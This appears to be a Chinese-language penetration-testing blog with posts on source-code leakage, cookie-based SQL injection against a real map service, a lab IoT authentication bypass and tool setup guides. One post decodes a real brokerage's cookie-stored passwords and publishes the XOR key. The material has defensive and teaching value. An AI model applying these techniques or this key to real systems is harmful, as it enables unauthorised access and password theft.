是為了節省經費或者便宜行事？該網站在同一部伺服器上掛載兩套Web服務，一套用Apache+PHP，另一套是IIS+ASP，當然，這種作法大有人在，架構本身並不是什麼問題，問題出在網站的設定上！

基於職業道德，不便提供此網站的網址及細部資訊。

該校首頁(PHP)利用iframe內嵌另一組新聞管理系統(ASP)，由於兩個服務不能共用相同PORT，因此，首頁用PORT 80，新聞管理用PORT 8080，這樣分配很合理。不過，可能是PHP比較早建置，沒有考慮到會和ASP共用伺服器，所以將ASP網頁被當成一般文字檔。

依照正常操作，瀏覽此網站並不會發現異樣，亦即，瀏覽www.XXXX.edu.tw會開啟全球資訊網首頁，首頁中間就是內嵌的新聞管理系統。

點擊新聞管理系統的「登入」鈕，會彈出登入畫面(見上圖)，注意登入畫面上的URL，它是走PORT 8080(www.XXXX.edu.tw:8080/admin.asp)，如果瀏覽此網址，但將8080移除，會神奇地看到admin.asp的原始碼。

從洩漏的原始碼可看出後端使用MS ACCESS資料庫及其路徑，只要給予正確路徑，便能下載資料庫檔，等於把整個資料庫都拿走了！

至於怎麼修正這個錯誤呢？最簡單的作法就是不要將ASP網頁和PHP放在同一個根目錄下，只要移動ASP目錄，在IIS重新設定虛擬目錄，就能避免PHP存取ASP的資源。

有管網站的朋友，請檢查看看，是否也犯下這般烏龍失誤！

又是Cookie惹的禍！Cookie裡的SQL Injection

2021-02-21T10:44:00.002+08:00

前一篇分享破解密碼」的經驗提到，開發人員將密碼編碼後記錄到Cookie裡，這一篇則是將資料庫的SQL語句記錄到Cookie裡，只要竄改Cookie裡的SQL語句，就能命令資料庫執行其他動作。

國內某地圖查詢服務網，當使用者輸入查詢資料後，會將完整的SQL語句記錄在Cookie的QuerySQL欄位中，使用者跳到下一資料頁或其他資料頁時，QuerySQL內容會傳回伺服器，而且伺服器直接以此SQL語句再次執行查詢，這讓駭客有了注入SQL命令的機會。

筆者曾試者利用SQLMAP去測試此進入點，但一直無法得到有效的回應，如果有同好知道如何利用SQLMAP直接攻擊SQL語句，尚請不吝指教！

基於職業道德，不便提供此服務網站的網址及細部資訊。

首先，直接點擊查詢頁上的「顯示全部」鈕(圖1)，可以得到各單位的清單，檢視清單頁的回應標頭之Cookie，可看到查詢的SQL語句(圖2)。

圖1:地圖查詢頁

圖2:查詢後，在cookei記錄SQL語句

為了重複測試，從換頁清單找出瀏覽網址(圖3)，每次變更QuerySQL內容後，就瀏覽前述網址，讓資料庫伺服器執行QuerySQL所指定的SQL語句。

圖3:找出直接瀏覽的網址

為測試修改後的QuerySQL是否會交由後端執行，將SQL的條件移除(Where及之後的文字，如圖4)，再重新瀏覽，此時系統真的回傳1839 頁(如圖5，原本只有1頁)，至此確認Cookie的QuerySQL存在SQL injection漏洞。

圖4:修改Cookie裡的QuerySQL的語句

圖5:從回傳的結果證實QuerySQL存在SQL Injection漏洞

再苦口婆心一次若需要在session之間交換資料，請使用後端的session變數記錄欲交換的內容，千萬不要使用Cookie或頁面上的隱藏欄位，面對駭客，Cookie及隱藏欄位絲毫不具防護能力！

分享「破解密碼」的經驗

2021-02-21T08:43:00.000+08:00

提醒程式開發人員許多文章及書籍都告戒「密碼應經雜湊(hash)或『經驗證』的強加密演算法處理後再保存」

某券商的網路下單系統，在登入後或變更密碼時，會將此密碼編碼並紀錄在Cookie裡，本文將說明如何破解從此Cookie內容而得到明文密碼。基於職業道德，不便提供此下單系統的網址及細部資訊。

每次變更密碼後，檢視回應(response)的標頭(header)發現LoginPWD欄位值的長度是4的倍數(圖1)，且字元符合BASE64編碼形式，猜測密碼是利用BASE64編碼後再記錄到Cookie，但是解碼LoginPWD的值卻得到亂碼(圖2)，而非原來的密碼明文，推測「執行BASE64編碼前，密碼應該還進行其他編碼處理」。既然使用BASE64 to Text得到亂碼，只好改用BASE64 to Hex來觀查解碼後的內容(圖3)。

圖1:檢視回應內容的標頭資訊

圖2:直接解碼只得到亂碼

圖3:使用BASE64 to Hex查看解碼後的結果

要破解密碼，當然不會只使用一組資訊，下表是筆者以不同的密碼得出下單系統回傳的LoginPWD值，並和該密碼的BASE64編碼進行比較。

NO	密碼	直接BASE64編碼	密碼的Hex	LoginPWD	解碼成Hex
1	AaBbCcDdE012	QWFCYkNjRGRFMDEy	416142624363446445303132	AZiE4EEKG79Npb05nw==	019884E0410A1BBF4DA5BD399F
2	AaBbCcdDe012	QWFCYkNjZERlMDEy	416142624363644465303132	AZiE4EEKO59tpb05nw==	019884E0410A3B9F6DA5BD399F
3	ABC123456789	QUJDMTIzNDU2Nzg5	414243313233343536373839	AbuFszBaa+4+orQynw==	01BB85B3305A6BEE3EA2B4329F
4	abc123456789	YWJjMTIzNDU2Nzg5	616263313233343536373839	IZulszBaa+4+orQynw==	219BA5B3305A6BEE3EA2B4329F
5	ABC123	QUJDMTIz	414243313233	AbuFszBaXw==	01BB85B3305A5F
6	abc123	YWJjMTIz	616263313233	IZulszBaXw==	219BA5B3305A5F

從上表可以找出幾個現象

當密碼長度不一樣時，LoginPWD的長度也不一樣，但仍維持4的倍數。
LoginPWD的長度都比直接BASE64編碼多出4個字元，如上表LowinPWD欄的粗藍字。
由於筆者測試的密碼都是3的倍數，而LoginPWD出多的4字元之後兩碼皆為==，依照BASE64的規則，代表有2個填充字元，推測下單系統會先在原密碼之後附加1字元再執行編碼。
比對各組密碼，相同位置相同字元，對應的LoginPWD內容也相同，如項次3及5紅字部分。

開始思考開發者可能使用的編碼方式

是不是使用對照表轉換BASE64的編碼字元？
但從上表項次1或2的黃底字看到k及N都對應到E，顯然不合理。
是不是使用特定KEY進行轉碼？
試著將「密碼的Hex」與「解碼成Hex」的值進行XOR運算(「解碼成Hex」的最後一碼是附加的，故先捨棄），結果如下表的「XOR結果」欄

NO	密碼	密碼的Hex	解碼成Hex	XOR結果
1	AaBbCcDdE012	416142624363446445303132	019884E0410A1BBF4DA5BD399F	40F9C68202695FDB08958C0B
2	AaBbCcdDe012	416142624363644465303132	019884E0410A3B9F6DA5BD399F	40F9C68202695FDB08958C0B
3	ABC123456789	414243313233343536373839	01BB85B3305A6BEE3EA2B4329F	40F9C68202695FDB08958C0B
4	abc123456789	616263313233343536373839	219BA5B3305A6BEE3EA2B4329F	40F9C68202695FDB08958C0B
5	ABC123	414243313233	01BB85B3305A5F	40F9C6820269
6	abc123	616263313233	219BA5B3305A5F	40F9C6820269

從上表的「XOR結果」得到如下結論

從項次1到6的XOR結果，可知下單系統會逐字元進行XOR處理。
由項次5多出來的「5F」，與項次4同一位置的KEY相同，得知下單系統附加的字元是ASCII的NUL字元（十六進制碼 00）。

目前解得35碼的XOR Key值是「40F9C68202695FDB08958C0B9F74F518BC6361D42F22998F31B2895B67BF64AA505D528E」，亦即「0x40,0xF9,0xC6,0x82,0x02,0x69,0x5F,0xDB,0x08,0x95,0x8C,0x0B,0x9F,0x74,0xF5,0x18,0xBC,0x63,0x61,0xD4,0x2F,0x22,0x99,0x8F,0x31,0xB2,0x89,0x5B,0x67,0xBF,0x64,0xAA,0x50,0x5D,0x52,0x8E」

知道XOR的Key值後，就能對任意LoginPWD進行解碼，步驟如下：

先將LoginPWD進行BASE64 to Hex解碼，得到十六進制結果，以HEX表示。
將HEX的最右邊的Byte捨棄，因它是附加的字元NUL，無關緊要。以HEX2表示。
從XOR Key的左邊取出和HEX2等長的資料，以KEY2表示。
將HEX2與KEY2進行XOR，
將得到的十六進制值轉成ASCII即得到密碼明文。

就以「LoginPWD: E62TszBaa+4+orQynw==」為例：

先將「E62TszBaa+4+orQynw==」進行BASE64 to Hex解碼，得到「13AD93B3305A6BEE3EA2B4329F」。
將「13AD93B3305A6BEE3EA2B4329F」最右邊的Byte(即9F)捨棄，剩12Byte。
從XOR Key的左邊取出12Byte，即「40F9C68202695FDB08958C0B」。
將「13AD93B3305A6BEE3EA2B432」與「40F9C68202695FDB08958C0B」進行XOR即得「535455313233343536373839」。
將「535455313233343536373839」轉成ASCII，得到密碼明文「STU123456789」。

使用的線上工具如下

BASE64 編碼／解碼：https://base64.guru/converter/decode/hex

XOR 計算器：http://xor.pw/

ASCII/HEX轉換：https://www.rapidtables.com/convert/number/hex-to-ascii.html

在Kali 2020.3 精簡環境安裝OpenVAS

2020-11-15T16:58:00.005+08:00

對於滲透測試人員，Nessus及OpenVAS是兩套很實用(又免費)的弱掃工具，為了避免影響執行效能，筆者習慣將它們獨立安裝，這兩套工具都是使用瀏覽器作為使用者界面，獨立安裝的環境就不需要保留X-WINDOW視窗，可以讓資源充分供弱掃工具使用。

筆者著作「Kali Linux 滲透測試工具」雖然也有介紹OpenVAS的安裝方式，但隨著工具改版，現在OpenVAS的安裝又不一樣了，在此做個補充。

一、安裝Kali精簡環境

到 kali.org 下載「Kali Linux 64-Bit (NetInstaller)」。
建立一部虛擬機，安裝方式請選擇「Install disk image file(iso)」，並以前一步驟下載的「kali-linux-2020.3-installer-netinst-amd64.iso」作為iso來源。
作業系統類型請選擇「Linux／Debian-9.x 64 bit」；並將磁碟空間設為100GB。
啟動此虛擬機，進入作業系統安裝程序，按照畫面指示安裝，為避名預設主機名稱發生衝突，請指定合適的Hostname，筆者是使用OPENVAS2020。
Kali預設不再提供root權限，安裝過程必須指定使用者帳號，筆者選用openvas作為使用者，密碼就設為toor
在選擇欲安裝的軟體時，請取消Desktop environment及top10(如下圖)，只需要留下精簡環境所需的工具即可。
過程中可能出現軟體安裝失敗(如下圖)，按照畫面說明，直接按「Enter」，在下一個畫面，手動選擇「Install the GRUB boot loader」，略過軟體安裝步驟！
安裝完成後會自動重開機！然後進入命令列介面。請以步驟5. 所設的帳號及密碼登入，記住，此帳號不具root權限，很多指令都必須用sudo引導！

二、請依下列更新Kali及安裝必要工具

sudo apt update && apt upgrade -y #更新作業系統環境(每隔幾天就做一次吧)
sudo apt install locate curl wget #安裝必要工具
sudo apt install gvm* #安裝OpenVAS
sudo service --status-all #檢查 postgresql、redis-server 及 gvmd 是否有啟動，如果沒有啟動，請手工啟動
sudo service redis-server start #手動啟動 redis-server，若出現錯誤訊息，請參考本篇底下的「備註」
sudo update-rc.d redis-server enable #若能啟動 redis-server，就將它設為開機時自動啟動
sudo service postgresql start #啟動 postgresql
sudo update-rc.d postgresql enable #將 postgresql 設定自動啟動
sudo reboot #重新啟動作業系統
不要使用 su - 切換到root身分，不然執行「gvm-setup」會出現
「could not change directory to /root permission denied」的錯誤訊息
sudo gvm-setup #執行OpenVAS設定(會花很長時間)
sudo gvm-check-setup #執行OpenVAS檢查，看看缺少什麼東西
注意錯誤訊息(FIX: 開頭)，並按照提示修正，直到「sudo gvm-check-setup」的結果沒有需要「FIX:」的項目。
sudo service --status-all #再次檢查 postgresql、redis-server 及 gvmd 是否有啟動
sudo service gvmd start #手動啟動 gvmd
sudo update-rc.d gvmd enable #將 postgresql 設定自動啟動
sudo gvm-start #正式啟動 OpenVAS伺服器，如果有錯誤訊息，請修正

三、從外部電腦操作OpenVAS伺服器

由於OpenVAS預設只能從本機連線，但我們是安裝在精簡型Kali，本身沒有瀏覽器，必須想辦法讓外部的電腦可以連線這部OpenVAS伺服器

sudo sudo nano /lib/systemd/system/greenbone-security-assistant.service
修改gsad的接聽範圍，請將「ExecStart=/usr/sbin/gsad --listen=127.0.0.1 --port=9392」
改成「ExecStart=/usr/sbin/gsad --listen=0.0.0.0 --port=9392」，表示接聽所有網卡的請求
存檔後，重新啟動虛擬機
重新進入虛擬機後，請執行「sudo gvm-start」啟動服務
利用外部電腦的瀏覽器連線，終於連上了，但是~~~帳號和密碼呢？

四、帳號和密碼呢？

在安裝過程中都沒有注意到OpenVAS的帳密，這下怎麼辦？別急，再回到OpenVAS伺服器，使用下列命令重設「admin」的密碼
sudo runuser -u _gvm -- gvmd --user=admin --new-password=toor

如果要增加其他使用者，可以執行下列命令：
sudo runuser -u _gvm -- gvmd --create-user=<新帳號> --password=<設定密碼>

重新使用「admin / toor」登入OpenVAS，成功！

備註：

若啟動 redis-server 時，若出現「redis-server is not running or not listening on socket: /var/run/redis-openvas/redis-server.sock」的錯誤訊息，處理方式如下：

sudo nano /etc/redis/redis.conf #編輯 redis.conf
搜尋「unixsocket」文字，應該會找到下列兩列文字：
# unixsocket /var/run/redis/redis.sock
# unixsocketperm 700
只要將註解符號刪除，然後存檔，再重新啟動OpenVAS伺服器即可

HITCON 2020 { IoT Hacking 101 }議程之 LV2題目的另類解法

2020-11-07T12:19:00.003+08:00

今年的Hitcon 2020第一天Jimmy Liu老師主講「IoT Hacking 101」，主要是實作基礎的物聯網設備滲透測試！有關上課素材可從「https://github.com/DrmnSamoLiu/Hitcon-iot101」下載，上課簡報請參考素材包裡的DVIPcam_hitcon.pdf，在此假設您已事先閱讀並瞭此份簡報的內容。

參加此議題的同事於會後分享學習心得，而筆者事後練習時，又發現LV2(簡報22頁)有另一條啟用Telnet及FTP服務的途徑，借此做個筆記。

此題的網路攝影機預設只開啟端口443、554、8000，我們要想辦法辦啟動這台設備上的Telnet及FTP服務，即開啟端口23及21。

依照簡報內容，由於使用者未變更預設密碼，駭客可由使用手冊得知兩組登入帳密：「root / root」及「user / DVIPcam」，實際上，root的密碼已變更，無法直接以管理員身分登入管理界面，但user的密碼則未變更，駭客能夠經由提權而取得管理員權限，在瀏覽「System Configuration」頁面時啟用Telnet及FTP服務(簡報28頁)。好了，前述的滲透手法，簡報裡已寫得很清楚，這裡不再贅述。

但~~如果連user的預設密碼也被修改，有沒有「不需要網站的帳密就能開啟Telnet服務」的方法？這篇的手法就是了！

一、為了分析網站的原始碼，先從登入頁下載此設備的韌體更新檔(firmware.bin)。

二、利用7-zip開啟 firmware.bin，檢查 www/cgi-bin/ 目錄，注意readcookie.cgi、Config.cgi及Configsubmit.cgi這三個檔案。

三、檢查readcookie.cgi，發現呼叫此CGI時不會檢查是否已登入，且會將HTTP_COOKIE寫到/var/Allowed_SessionID，而Allowed_SessionID是判斷使用者有沒有登入的依據。我們就是利用此漏洞。

四、檢視Config.cgi，發現它會載入 /var/web/Config.html，所以再檢視此網頁，發現它是用來設定FTP及Telnet開關，Submit的內容是Telnet=on/off&FTP=on/off，提交對象是「/cgi-bin/Configsubmit.cgi」

五、再檢視「Configsubmit.cgi」，發現此cgi並不會檢查權限，只要有session就可以成立。（剛剛的readcookie.cgi已可建立session）

經由上面分析，得知readcookie.cgi可以建立空seeeionid，Configsubmit.cgi可以設定Telnet及FTP服務，為了便於操作，此處使用Firefox示範。（192.168.232.139 是筆者電腦啟動LV2映象檔後的網址，請依個人環境修正）

一、在瀏覽 https://192.168.232.139/cig-bin/readcookie.cgi，會得到如下結果，重點在於session is 的內容是空的。

二、啟用 FireFox的開發者模式，切換到「網路」頁籤。

三、瀏覽https://192.168.232.139/cig-bin/Configsubmit.cgi，出現404是正常的。

四、從「網路」頁籤的網址清單中選擇剛剛請求的Configsubmit.cgi，然後點擊右方的「重新發送」下拉選單，並選擇「編輯並重新發送」項目。

五、將方法改成「POST」，並在請求內容中貼上「Telnet=on&FTP=on」，然後「傳送」。

六、查看回應結果，FTP及Telnet已經打開。

假設您已按照簡報30頁的方法執行暴力破解，應該已得到作業系統的 admin / Administrator 這組帳密，可以利用telnet操控這台設備了！

天下文章一大抄，你錯我錯一起叫！

2020-07-21T20:36:00.000+08:00

個人習慣將資料做三個複本，每月另備到庫存硬碟，因此不太在意勒索病毒。恰好前些日子機關舉辦資安意識講座，講師提到最近有一支勒索病毒利用作業系統的漏洞，可以避過防毒軟體的查殺，病毒使用的技術叫「RIPlace」。這個技術引起我的興趣，上網搜尋發現有大量文章報導這支病毒，基於公務員的潛意識，首先瀏覽技服中心的資安新聞，結果～～是我國學有問題？還是眼睛業障重？我真的看不懂這段中文字「(3)將原始檔案存入硬碟，透過Rename功能置換原始檔案」，原始檔案不就在硬碟中，幹嘛還要「將原始檔案存入硬碟」？然後還「透過Rename功能置換原始檔案」，自己換掉自己，又是什麼道理？

還好文章底下有英文參考來源，連到www.nyotron.com看看（這個漏洞是它找到的），原文是「3.OR saving encrypted file to disk, then replacing it with the original file using the Rename operation.」：

用Google翻譯這段英文的結果：「將加密的文件保存到磁盤，然後使用重命名操作將其替換為原始文件」，這中文的前段是對了，後段還是怪怪的，「使用重新命名的方式將它換成原始檔案」，這樣加密後的內容不就又回到原來的樣子，是要勒索誰呀！
因此我推斷應該是作業系統有個漏洞，將加密檔案的名稱換成原始檔案的名稱時（是替換檔名，不是替換檔案），作業系統不會檢查兩支檔案使用相同名稱，因此加密檔案存活下來，而原始檔案變成無主野鬼。至於原始檔案的內容是繼續留在原位置，還是加密檔案會因更名成功而覆蓋原始檔案本來的位置，我就不確定了！

後來又找到另一個英文網站，不僅提供更詳細的介紹，還畫出流程圖，有關RIPlace的介紹，它就提到「Writing the encrypted data from memory to new file and then using the Rename call to replace the original file.」（將加密的數據從內存寫入新文件，然後使用“重命名”調用替換原始文件），這樣看起來就合理多了！

7月21日再上技服網站，這篇新聞已經修正了。

在發現技服的資安新聞有疑問後，繼續查詢其他資安網站的內容，真的「天下文章一大抄」大家都錯一樣。詳如後面的截圖。本篇沒有特別用意，只想傳達「盡信書不如無書」，只要覺得不合常理，就該大力懷疑！

拿回Kali的ROOT主控權

2020-03-28T04:27:00.003+08:00

「Kali Linux 滲透測試工具(第三版)-第2章「安裝Kali Linux」補充說明」提到，2020年的Kali預設不提供 root 登入，在使用一段時間後，發現執行滲透測試，沒有 root 權限很不方便，決定要拿回 root 權限！如果你也有這個需求，可以參考本篇內容。

一、為root重設密碼

按照正常程序登入系統，重設root密碼。

kali@kali2020A:~$ sudo passwd root
New password:                                            輸入新密碼，輸入時是看不到內容的
Retype new password:                               輸入確認密碼，輸入時是看不到內容的
passwd: password updated successfully             看到這段字，表示密碼設定成功

如果正常程序無法修改root密碼，請改用下面方式：

1. 重新開機，在出現啟動選單時按下「e」鍵，進入GRUM的開機程序腳本編輯畫面。

2. 找到「link 　/boot/...」這一列，將中間的「ro」(唯讀)改成「rw」(讀寫)，並在這一列的最後面加一個空格，然後輸入「init=/bin/bash」

3. 完成開機腳本修改後，按Ctrl+x繼續啟動作業，此時會進入root的單人作業模式。

4. 在終端機執行passwd：

kali@kali2020A:~$ passwd
New password:
Retype new password:
passwd: password updated successfully

二、修改root密碼只是為了得到密碼資訊，當開機後，確實可以用root登入純文字終端機，卻依然無法登入X-window，請用nano或vi編輯「/etc/pam.d/gdm-password」，將「auth required pam_succeed_if.so user != root quiet_success」這一列註解掉，存檔後，重新開機。

#%PAM-1.0
auth    requisite       pam_nologin.so
# auth required        pam_succeed_if.so user != root quiet_success   (註解此列)
@include common-auth
auth    optional        pam_gnome_keyring.so
@include common-account

三、大功告成！

現在無論純文字終端機，或x-window都可以用 root 身分登入了！

Kali Linux 滲透測試工具(第三版)-第2章「安裝Kali Linux」補充說明

2020-02-15T16:57:00.001+08:00

《Kali Linux 滲透測試工具(第三版)》是依 Kali 2019.2 及 2019.3 版本編寫，但付梓後，Kali 隨即發布 2019.4 版，在 2020.1.28 再更新 2020.1 版，這兩個版本的預設環境，和之前版本略有不同，因此，書中第二章部分內容可能不適用，讀者必須視版本自行調整。本篇博文針對2020.1的變更，提供摘要說明。

首先，直接影響的有：x-window 的預設界面由 GNOME 改成 Xfce，據說Xfce較不耗資源，對滲透測試人員來講，資源應用會比畫面美觀重要。對於用慣GNOME的人，還是可以另外安裝GNOME。
apt update && apt upgrade-y
apt install gnome

再來是Live模式的預設帳密已從 root / toor 改成 kali / kali，2020.1版不再提供root帳號。依照Kali官方說明，需要root權限的工具愈來愈少，而有些工具甚至要求非root權限（像chrome）。但nmap有些功能還是需要root身分才能正常作業，例如「-sS」選項，nmap預設使用-sS探測端口的開／閉情形，但非root模式時，則改用-sT掃描。

2020.1版的其他改變：

不再提供不同桌面的安裝映像檔，現在只剩3個版（各分32bit/64bit）：Installer、Live、NetInstaller。

Installer：可以離線安裝，裡頭已包含各項工具，但使用者必須在安裝過程中自行選擇想安裝的內容。

NetInstall：線上安裝，只需下載必要核心，其它部分在安裝時，從網路下載。

Live：就和以前的Live版一樣，可以燒錄到DVD或USB，如前所述，它的帳號及密碼已改用 kali/kali，不再是root/toor。

2019.4需要另外安裝的undercover（臥底）功能，2020.1已改成內建安裝，但此功能只能在xfce環境使用。

若你的 Kali 沒有 undercover 功能，可以執「suo apt install kali-undercover」安裝
之後即可在終端機執行「kali-undercover」進行切換。

2020.1的Installer映像檔的安裝說明：

請參考本書2.1節建立虛擬機，並將下載回來的「kali-linux-2020.1-installer-amd64.iso」掛載到虛擬機的光碟機上。啟動虛擬機後，會由光碟機進入安裝程式程序，可選擇 Graphical Install（圖形界面安裝程序）或Install（文字界面安裝程序），兩者過程類似：

１、此處以Graphical Install為例說明（圖1）

圖1：選擇Graphical Install以圖形化界面安裝

２、語言選擇預設為English，這裡改成Chinese (Traditional) 中文(繁體)（圖2）

圖2：選擇Chinese (Traditional) 中文(繁體)

３、位置選擇：臺灣（圖3）

圖3：位置請選台灣

４、設定鍵盤：英文（圖4）

圖4：鍵盤請選英文

５、接下來就會載入基本元件（圖5），就等它跑完！

圖5：載入所需元件

６、在網路設定的主機名稱：預設為kali，可依自己需要修改，此處改成kali2020A（圖6）

圖6：設定電腦名稱

７、網域名稱：因為是Windows裡的虛擬機，故設為WORKGROUP，以便和宿主的網域一致。（圖7）

圖7：設定網域或群組名稱

８、設定使用者名稱：重點，這裡會建立非管理性的帳號，代替root。請替新的使用者輸入完整姓名：請輸入使用者的姓名，例如「Kea Leeve」（圖8）

圖8：輸入使用者的姓名

９、您的帳號的使用者名稱：就是帳號啦，就依Kali官方說明，取名為 kali（圖9）

圖9：輸入使用者的帳號

10、設定密碼：kali　（圖10）

圖10：設定使用者的密碼

11、接著偵測時區及磁碟，然後進入磁碟分割，直接按「繼續」到下一畫面，然後選擇「使用整顆磁碟」（圖11）

圖11：選擇磁碟分割方式

12、下一畫面選擇磁碟機，因為只有一台，所以直接按「繼續」到下一畫面，在此選擇「把所有的檔案全部放到同一個分割區中」（圖12）

圖12：將所有檔案放到同一個分割區

13、下一畫面是確認磁碟分割選項，如果沒有問題，就按「繼續」吧！（圖13）

圖13：確認磁碟分割設定無誤

14、磁碟分割步驟的最後一步，就是將分割選項寫入磁碟，這裡記得要選「是」（圖14）（預設是停在「否」）

圖14：將磁碟分割資訊寫入磁碟

15、完成磁碟分割後，就會進行基本系統安裝（圖15），這裡就只能等待，完成後，進入其他設定項目。

圖15：基本系統安裝中

16、設定套件管理程式的第1個畫面是HTTP Proxy設定，如果不是透過Proxy上網，可以留空白，直接「繼續」到下個畫面（圖16）。

圖16：設定上網的Proxy伺服器

17、接著是設定apt（套件安裝管理員）及安裝基本軟體，請耐心等候！（圖17）

圖17：安裝基本軟體

18、再來就是新版Kali的重點，要裝什麼軟體，由使用者自行決定（圖18）

圖18：使用者自行選擇欲安裝的軟體

19、預設桌面環境是Xfce，若喜歡GNOME，可在此增選之。

至於其他工具，如果不知怎麼選擇，就全勾吧！或者以預設（default安裝Live模式使用的工具），由於我是貪心的使用者，故將 Install tools by purpose（依使用目的安裝所需工具）底下的選項全打勾（圖19），免得日後還要逐一安裝，按下「繼續」後就開始安裝套件了，這要一段不短的時間。
期間出現圖20的桌面管理設定，我有選用GNOME，所以要設定預設的管理員，若沒擇安裝GNOME，應該不會有這個畫面吧？

圖19：筆者將Install tools by puposse的項目都打勾(Reporting除外)

圖20：因多安裝GNOME桌面，設定gdm

20、好了，快要安裝完成，接著就是設定開機程式（GRUB），請選擇「是」將GRUB安裝到主開機記錄（MBR）（圖21）。

圖21：將GRUB安裝到主開機記錄區

21、進到下一個畫面，因為只有一台磁碟，因此選「/dev/sda」，然後按「繼續」（圖22），再等一下下，就可安裝完成了！（圖23）

圖22：選擇安裝GRUB的可開機磁碟

圖23：終於完成系統安裝

登入

在安裝時設定使用者名稱（Kea Leave），登入時可以選擇此帳號（圖24），並輸入密碼（圖25），或者要切換x-window環境，可以先點擊「登入」鈕左方的齒輪（圖26），選擇桌面環境，再「登入」。

圖24：選擇登入系統的使用者

圖25：輸入使用者密碼

圖26：或者先選擇桌面環境，再登入

圖27A是GNOME界面，圖27A右圖是xfce界，謹供比較。

圖27A：GNOME畫面

圖27B：Xfce畫面

不知是誰的bug

在xfce執行 kali-undercover，將界面轉成Windows 10模擬模式（圖28），若未再次執行kali-undercover切回Linux模式，下回啟動成GNOME，會看到終端機的操示符依然停在「C:\home\kali>」（圖29）。

圖28：切換到Windows 10模擬畫面

圖29：啟動成GNOME桌面，提示符仍顯示「C:\home\kali>」

在xfce的Windows 10模擬模式，執行kali-undercover，終端機的提示符回復Kali的樣字，但桌面看起來還是像Windows 10（圖30），與Kali文件所說：再次執行kali-undercover之後會回復前次的布景主體不一樣。

圖30：雖然終端機切回xfce，但桌面看起來仍是Windows 10(和圖27B相比)

免密碼的sudo

2020.1之後已不再有root權限，需要使用sudo才能執行特權指令，可是sudo會要求驗證密碼（圖31），如果覺得煩，可以執行「sudo dpkg-reconfigure kali-grant-root」，然後選擇「Enable password-less privilege escalation」（提權時毋須密碼）（圖32），雖然還是需要「sudo」，但系統不會再問密碼了。

圖31：使用sudo執行特權指令，需要再次確認密碼

圖32：利用 dpkg-reconfigure kali-grant-root改成不需再次確認密碼

這次簡單補充至此，日後若有新的發現，再另為文介紹！

如何建置metasploitable 3虛擬機

2020-01-04T05:55:00.000+08:00

筆者在2016年曾寫了一本「Metasploitable|白帽駭客新兵訓練營」，以Metasploitable 2作為練習標的， Metasploitable 2是以虛擬機映像檔方式發行，很容易部建於VMWare或VirtualBox，然而，RAPID7在2016年底釋出Metasploitable 3，但這一次並非直接以虛擬機映像檔方式發行，而是提供一些腳本，再由使用者自行建置，有關建置說明可以參考：https://github.com/rapid7/metasploitable3，筆者參考這份說明，卻還是撞了滿頭包，原以為過一段時間就會有人釋出包裝好的映像檔，但網路上搜尋許久，都是自建教學文章，筆者照著文章作，依然處處碰避，最近正好有個工作空檔，可以好好靜心實作，發現原來自建，其實很簡單，特將操作步驟記錄下來。

一、先確認電腦啟用（支援）VT-x或AMD-V，不然執行到後段才出現映像檔建立失敗，會浪費不少時間。

二、Powershell版本至少3.0：

筆者是在Windows 7上建置，Win7原本的Powershell版本只支援2.0 ，必須先升級到3.0才可順利執行建置程序。
開啟Powershell後，可先執行「 $psversiontable」查看目前支援的版本，若版本未達3.0，可至
https://www.microsoft.com/en-us/download/details.aspx?id=34595下載並安裝 Windows6.1-KB2506143-x64.msu（或 Windows6.1-KB2506143-x86.msu）

三、搞定Powershell後，接著安裝VirtualBox，但建置工具vagrant目前對VirtualBox的支援只到5.2.X版，若電腦是安裝VirtualBox 6.x版，vagrant無法順利執行。筆者是安裝VirutalBox 5.2.34及其擴充套件，VirtuaBox安裝好之後，請關閉VirtuaBox管理界面。

四、安裝vagrant

到https://www.vagrantup.com/docs/installation/下載vagrant安裝檔（vagrant_2.2.4_x86_64.msi），vagrant安裝後會自動將「安裝路徑\bin」（例如D:\HashiCorp\Vagrant\bin）加到PATH環境變數。

五、安裝Packer

到 https://www.packer.io/intro/getting-started/install.html下載packer_1.5.1_windows_amd64.zip，這壓縮檔裡只有一支packer.exe，將它壓縮到vagrant安裝路徑下的bin目錄裡，就樣就不用特別為packer設定PATH環境變數。

六、啟動powershell，然後執行：

d: #筆者在 D: 槽操作，也可選擇其他有足夠空間(65GB)的磁碟

vagrant plugin install vagrant-reload         #安裝vagrant的插件

mkdir metasploitable3-workspace               #建立工作目錄
cd metasploitable3-workspace                  #切換到工作錄中

Invoke-WebRequest -Uri "https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagrantfile" -OutFile "Vagrantfile" #下載所需的組態檔

七、接在步驟六之後，執行下列指令即可建立metasploitable 3虛擬機。

vagrant up ub1404 ##建立ubuntu版的metasploitable 3
## 或者
vagrant up win2k8 ##建立win2008版的metasploitable 3

執行vagrant up win2k8或vagrant up ub1404之後是漫長的等待，請保持耐心！

註：
　vagrant up ub1404 會從網路下載ubunt所需的.iso檔，大概要花2至3小時
　vagrant up win2k8 會從網路下載win2k8所需的.iso檔，依照下載速度，大概要花5至6小時
(實際時間視網路狀況而定，筆者在建立 win2k8時，曾因網路不穩而中斷)

最後看到

ub1404: This is not an error message; everything may continue to work properly, in which case you may ignore this message.
==< ub1404: Setting hostname...
==< ub1404: Configuring and enabling network interfaces...

即表示ubuntu版的metasploitable 3建置完成，此時會看到VirtualBox被自動啟動「Metasploitable3-ub1404」虛擬機。
若執 vagrant up win2k8，看到下列訊息，即表示Win2K8的Metasploitable 3建置完成：

==> win2k8: Running provisioner: shell...
     win2k8: Running: inline PowerShell script
     win2k8: CMDKEY: Credential added successfully.
     win2k8: System error 67 has occurred.
     win2k8: The network name cannot be found.
==> win2k8: Running provisioner: shell...
     win2k8: Running: inline PowerShell script
PS D:\metasploitable3-workspace>

上述兩部VirtualBox虛擬機，若想移植到VMWare上，可由VirtualBox的「檔案-> 匯出應用裝置」，匯出成「*.ova」，再由VMWare匯入即可產生VMWare虛擬機！

不論 ubuntu或Win2K8，登入帳密皆為 vagrant／vagrant。

註：若不打算自己動手做，筆者在 https://drive.google.com/open?id=1UgI6RR2YOIV1NvqDsAxYz19-DpQOPaJi 提供 Ubuntu的metasploitable 3的OVA檔。
至於Win2K8的metasploitable 3因涉及作業系統版權問題，不方便提供！

新作「Kali Linux滲透測試工具第３版」已於2019/12/25上市

2019-12-15T20:48:00.001+08:00

筆者在2015年11月配合Kali由1.x改版為2.0，也改寫「Kali Linux滲透測試工具第2版」，承蒙各位同好不棄。歷經過4年後，Kali依然維持第2版，但收錄的工具卻改變不少，因此，在2019年5月依據Kali 2019.2版，再次改寫本書內容，在進行初稿校正時，Kali又發布2019.3版，所以本書的內容是融合Kali 2019.2及2019.3。

